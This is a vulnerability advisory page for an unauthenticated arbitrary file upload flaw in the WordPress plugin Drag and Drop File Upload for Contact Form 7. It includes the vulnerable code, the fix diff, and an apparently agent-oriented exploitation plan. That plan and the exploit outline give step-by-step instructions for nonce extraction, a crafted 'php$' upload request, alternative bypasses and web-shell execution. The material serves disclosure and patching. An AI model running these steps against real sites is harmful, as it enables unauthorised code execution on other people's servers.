Drag and Drop File Upload for Contact Form 7 <= 1.1.3 - Unauthenticated Arbitrary File Upload via sanitize_file_name Bypass
Description
The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. This is due to the plugin extracting the file extension before sanitization occurs and allowing the file type parameter to be controlled by the attacker rather than being restricted to administrator-configured values, which when combined with the fact that validation occurs on the unsanitized extension while the file is saved with a sanitized extension, allows special characters like '$' to be stripped during the save process. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution, however, an .htaccess file and name randomization is in place which restricts real-world exploitability.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1.3What Changed in the Fix
Changes introduced in v1.1.4
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-5364 ## 1. Vulnerability Summary The **Drag and Drop File Upload for Contact Form 7** plugin (up to 1.1.3) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX handler `cf7_file_uploads` because it validates the file ex…
Show full research plan
Exploitation Research Plan - CVE-2026-5364
1. Vulnerability Summary
The Drag and Drop File Upload for Contact Form 7 plugin (up to 1.1.3) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX handler cf7_file_uploads because it validates the file extension against an attacker-supplied list of "allowed" types before the filename is sanitized by WordPress.
An attacker can provide a filename with a trailing special character (like exploit.php$) and set the allowed types to include that specific extension (php$). The validation passes because php$ is not in the plugin's hardcoded blacklist. However, when the file is saved, WordPress's wp_unique_filename (via sanitize_file_name) strips the trailing $, resulting in a .php file on the server.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
cf7_file_uploads(registered fornoprivusers inbackend/index.php) - Vulnerable Parameter:
$_FILES['file'](filename) and$_REQUEST['type'](allowed extensions). - Authentication: Unauthenticated.
- Preconditions:
- The plugin must be active.
- A valid nonce for the
cf7_file_uploadaction must be obtained.
3. Code Flow
- Entry Point:
Superaddons_Cf7_File_Uploads_Backend::cf7_file_uploads()is triggered viaadmin-ajax.php. - Nonce Bypass/Check: It verifies a nonce using
wp_verify_nonce(..., 'cf7_file_upload'). - Extension Extraction:
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );- If filename is
shell.php$,$file_extensionbecomesphp$.
- If filename is
- Filename Preparation:
$filename = uniqid() . '.' . $file_extension;(e.g.,65a1b2c3.php$). - Sanitization Sink:
$filename = wp_unique_filename( $uploads_dir, $filename );.wp_unique_filenamecallssanitize_file_name('65a1b2c3.php$'), which strips the$to return65a1b2c3.php.
- Validation Check:
$this->is_file_type_valid($type, $file)is called.- Inside
is_file_type_valid, it re-extracts the extension from the original$file['name'](php$). - It checks if
php$is in the$typeparameter (attacker-controlled). - It checks if
php$is in the$blacklist(get_blacklist_file_ext()). Sincephp$is not explicitly listed (onlyphp,php3, etc.), it passes.
- Inside
- File Save:
move_uploaded_file( $file['tmp_name'], $new_file )saves the file as.php. - Information Disclosure: The JSON response returns the full URL to the uploaded file.
4. Nonce Acquisition Strategy
The nonce is generated on the frontend and localized for the script cf7_file_uploads.
- Create Test Page: Since the scripts are enqueued on
wp_enqueue_scripts, they should appear on most frontend pages. To be certain, create a page with a Contact Form 7 shortcode.- Command:
wp post create --post_type=page --post_status=publish --post_title="Upload Form" --post_content='[contact-form-7 id="DEFAULT_FORM_ID"]'
- Command:
- Navigate and Extract:
- Use
browser_navigateto visit the newly created page. - Use
browser_evalto extract the nonce from the global JavaScript object defined infrontend/index.php. - Variable:
window.cf7_file_uploads.nonce
- Use
5. Exploitation Strategy
Step 1: Obtain Nonce
Access the site frontend and read window.cf7_file_uploads.nonce.
Step 2: Perform Unauthenticated Upload
Send a multipart/form-data request to admin-ajax.php.
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Parameters:
action:cf7_file_uploadsnonce:[EXTRACTED_NONCE]size:10(Maximum size in MB)type:php$(This matches our payload extension to bypass validation)type_upload:0(Saves tocf7-uploads-customdirectory)file: (The PHP file payload)filename:exploit.php$content:<?php echo "POC_SUCCESS"; ?>
Step 3: Parse Response
The response will be a JSON object:
{
"status": "ok",
"text": "http://localhost:8080/wp-content/uploads/cf7-uploads-custom/65a1b2c3.php"
}
Note: The trailing $ is gone in the response because it reflects the actual sanitized filename on disk.
Step 4: Verify Execution
Access the URL provided in the text field.
6. Test Data Setup
- Plugins: Ensure
contact-form-7anddrag-and-drop-file-upload-for-contact-form-7are installed and active. - Contact Form: Identify a valid Contact Form 7 ID.
- Page: Create a public page with the form.
FORM_ID=$(wp post list --post_type=wpcf7_contact_form --format=ids | awk '{print $1}') wp post create --post_type=page --post_status=publish --post_content="[contact-form-7 id=\"$FORM_ID\"]"
7. Expected Results
- The AJAX request should return
{"status":"ok", "text":".../exploit.php"}. - Navigating to the returned URL should output
POC_SUCCESS. - Note: If the server configuration prevents PHP execution in the uploads directory via the generated
.htaccess(which setsContent-Disposition: attachment), the file will still be successfully uploaded as.php, confirming the "Arbitrary File Upload" vulnerability.
8. Verification Steps
After the exploit, use WP-CLI to check the filesystem:
# List files in the custom upload directory
ls -la /var/www/html/wp-content/uploads/cf7-uploads-custom/
# Check content of the uploaded php file
cat /var/www/html/wp-content/uploads/cf7-uploads-custom/*.php
9. Alternative Approaches
If php$ is blocked by server-level security or if pathinfo behaves differently:
- Try
php.(trailing dot and space) if the OS is Windows-based. - Try
php%00.jpg(Null byte injection) if the PHP version is very old (unlikely for this plugin's era). - Try different special characters like
exploit.php/orexploit.php.whichsanitize_file_namealso strips. - If
type_upload=0is restricted, trytype_upload=1which saves tocf7-uploads-save.
Summary
The Drag and Drop File Upload for Contact Form 7 plugin is vulnerable to unauthenticated arbitrary file uploads due to an inconsistency between file extension validation and filename sanitization. Attackers can bypass the file type blacklist by appending special characters (like '$') to the filename, which are then stripped by the WordPress sanitization function after validation but before the file is saved to disk.
Vulnerable Code
// backend/index.php (v1.1.0) private function is_file_type_valid( $file_types, $file ) { // File type validation if ( $file_types == "" ) { $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv'; } $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION ); $file_types_meta = explode( '|', $file_types ); $file_types_meta = array_map( 'trim', $file_types_meta ); $file_types_meta = array_map( 'strtolower', $file_types_meta ); $file_extension = strtolower( $file_extension ); return ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) ); } --- function cf7_file_uploads(){ if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) { $file = $_FILES["file"]; $size = sanitize_text_field( $_REQUEST["size"] ); $type = sanitize_text_field( $_REQUEST["type"] ); $type_upload = sanitize_text_field( $_REQUEST["type_upload"] ); // ... $uploads_dir = $this->get_ensure_upload_dir($type_upload); $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION ); $filename = uniqid() . '.' . $file_extension; $filename = wp_unique_filename( $uploads_dir, $filename ); // This strips characters like '$' $new_file = trailingslashit( $uploads_dir ) . $filename; // valid file type? if(!$this->is_file_type_valid($type,$file)){ // Validates against original unsanitized extension wp_send_json( array("status"=>"not","text"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) ); die(); } // ... if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) { $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );
Security Fix
Only in /home/deploy/wp-safety.org/data/plugin-versions/drag-and-drop-file-upload-for-contact-form-7/1.1.0: add-ons.php @@ -121,114 +138,98 @@ - private function is_file_type_valid( $file_types, $file ) { - // File type validation - if ( $file_types == "" ) { - $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv'; - } - $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION ); - $file_types_meta = explode( '|', $file_types ); - $file_types_meta = array_map( 'trim', $file_types_meta ); - $file_types_meta = array_map( 'strtolower', $file_types_meta ); - $file_extension = strtolower( $file_extension ); - return ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) ); - } -function cf7_file_uploads(){ - if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) { - $file = $_FILES["file"]; - $size = sanitize_text_field( $_REQUEST["size"] ); - $type = sanitize_text_field( $_REQUEST["type"] ); - $type_upload = sanitize_text_field( $_REQUEST["type_upload"] ); - if($type_upload == 1 || $type_upload == 2){ - //save file - }else{ - $type_upload = 0; - } - $uploads_dir = $this->get_ensure_upload_dir($type_upload); - $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION ); - $filename = uniqid() . '.' . $file_extension; - $filename = wp_unique_filename( $uploads_dir, $filename ); - $new_file = trailingslashit( $uploads_dir ) . $filename; - // valid file type? - if(!$this->is_file_type_valid($type,$file)){ - wp_send_json( array("status"=>"not","text"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) ); - die(); - } - // allowed file size? - if ( ! $this->is_file_size_valid( $size, $file ) ) { - wp_send_json( array("status"=>"not","text"=>esc_html__( 'This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) ); - die(); - } - if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) { - $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file ); - if ( false !== $move_new_file ) { - // Set correct file permissions. - $perms = 0644; - @ chmod( $new_file, $perms ); - wp_send_json( array("status"=>"ok","text"=>$this->get_file_url( $filename ,$type_upload ) ) ); - } else { - wp_send_json( array("status"=>"not","text"=>esc_html__( 'There was an error while trying to upload your file.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) ); - } - }else{ - wp_send_json( array("status"=>"not","text"=>esc_html__( 'Upload directory is not writable or does not exist.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) ); - } - } -} + private function is_file_type_valid($file_types, $file) + { + if (empty($file_types)) { + $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv'; + } + $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); + $allowed = array_map('trim', explode('|', strtolower($file_types))); + return (in_array($extension, $allowed, true) && !in_array($extension, $this->get_blacklist_file_ext(), true)); + } + /** + * Secure AJAX handler for file uploads using WordPress API. + */ + public function cf7_file_uploads() + { + check_ajax_referer('cf7_file_upload', 'nonce'); + if (!isset($_FILES['file']) || empty($_FILES['file']['name'])) { + wp_send_json_error(array("message" => esc_html__('No file uploaded.', 'drag-and-drop-file-upload-for-contact-form-7'))); + } + $file = $_FILES['file']; //phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized + $size_limit = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Missing + $type_limit = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Missing + $type_upload = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0; //phpcs:ignore WordPress.Security.NonceVerification.Missing + // Security Validations + if (!$this->is_file_type_valid($type_limit, $file)) { + wp_send_json_error(array("message" => esc_html__('This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7'))); + } + if (!$this->is_file_size_valid($size_limit, $file)) { + wp_send_json_error(array("message" => esc_html__('This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7'))); + } + if (!function_exists('wp_handle_upload')) { + require_once(ABSPATH . 'wp-admin/includes/file.php'); + } + $uploads_dir = $this->get_ensure_upload_dir($type_upload); + // Hook into WordPress upload directory to use our custom path + $upload_dir_filter = function ($uploads) use ($uploads_dir) { + $uploads['path'] = $uploads_dir; + $uploads['basedir'] = $uploads_dir; + return $uploads; + }; + add_filter('upload_dir', $upload_dir_filter); + $movefile = wp_handle_upload($file, array('test_form' => false)); + remove_filter('upload_dir', $upload_dir_filter); + if ($movefile && !isset($movefile['error'])) { + $filename = basename($movefile['file']); + wp_send_json_success(array( + "status" => "ok", + "text" => $this->get_file_url($filename, $type_upload) + )); + } else { + wp_send_json_error(array("message" => $movefile['error'])); + } + }
Exploit Outline
1. **Obtain Nonce**: Access any frontend page on the site where a Contact Form 7 form is present. The nonce for the file upload AJAX action is localized in the JavaScript object `window.cf7_file_uploads.nonce`. 2. **Craft Payload**: Create a PHP web shell file but name it with a trailing special character, for example: `shell.php$`. 3. **Prepare AJAX Request**: Construct a multipart/form-data POST request to `/wp-admin/admin-ajax.php`. The request should include the following parameters: - `action`: `cf7_file_uploads` - `nonce`: The extracted nonce. - `file`: The web shell content with the filename `shell.php$`. - `type`: `php$` (This matches the extension extracted by the plugin and bypasses the hardcoded blacklist which only checks for `php`, `phtml`, etc.). - `size`: A sufficiently large integer (e.g., 10). 4. **Execution Flow**: The server-side code extracts the extension `php$` from the file and checks if it's in the attacker-supplied `type` parameter. Because `php$` is not in the plugin's internal extension blacklist, validation passes. The plugin then calls `wp_unique_filename`, which utilizes WordPress's `sanitize_file_name` to strip the `$` character. The file is saved as `[unique_id].php`. 5. **Access Shell**: The AJAX response returns the full URL of the uploaded file. Access this URL to execute arbitrary PHP code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.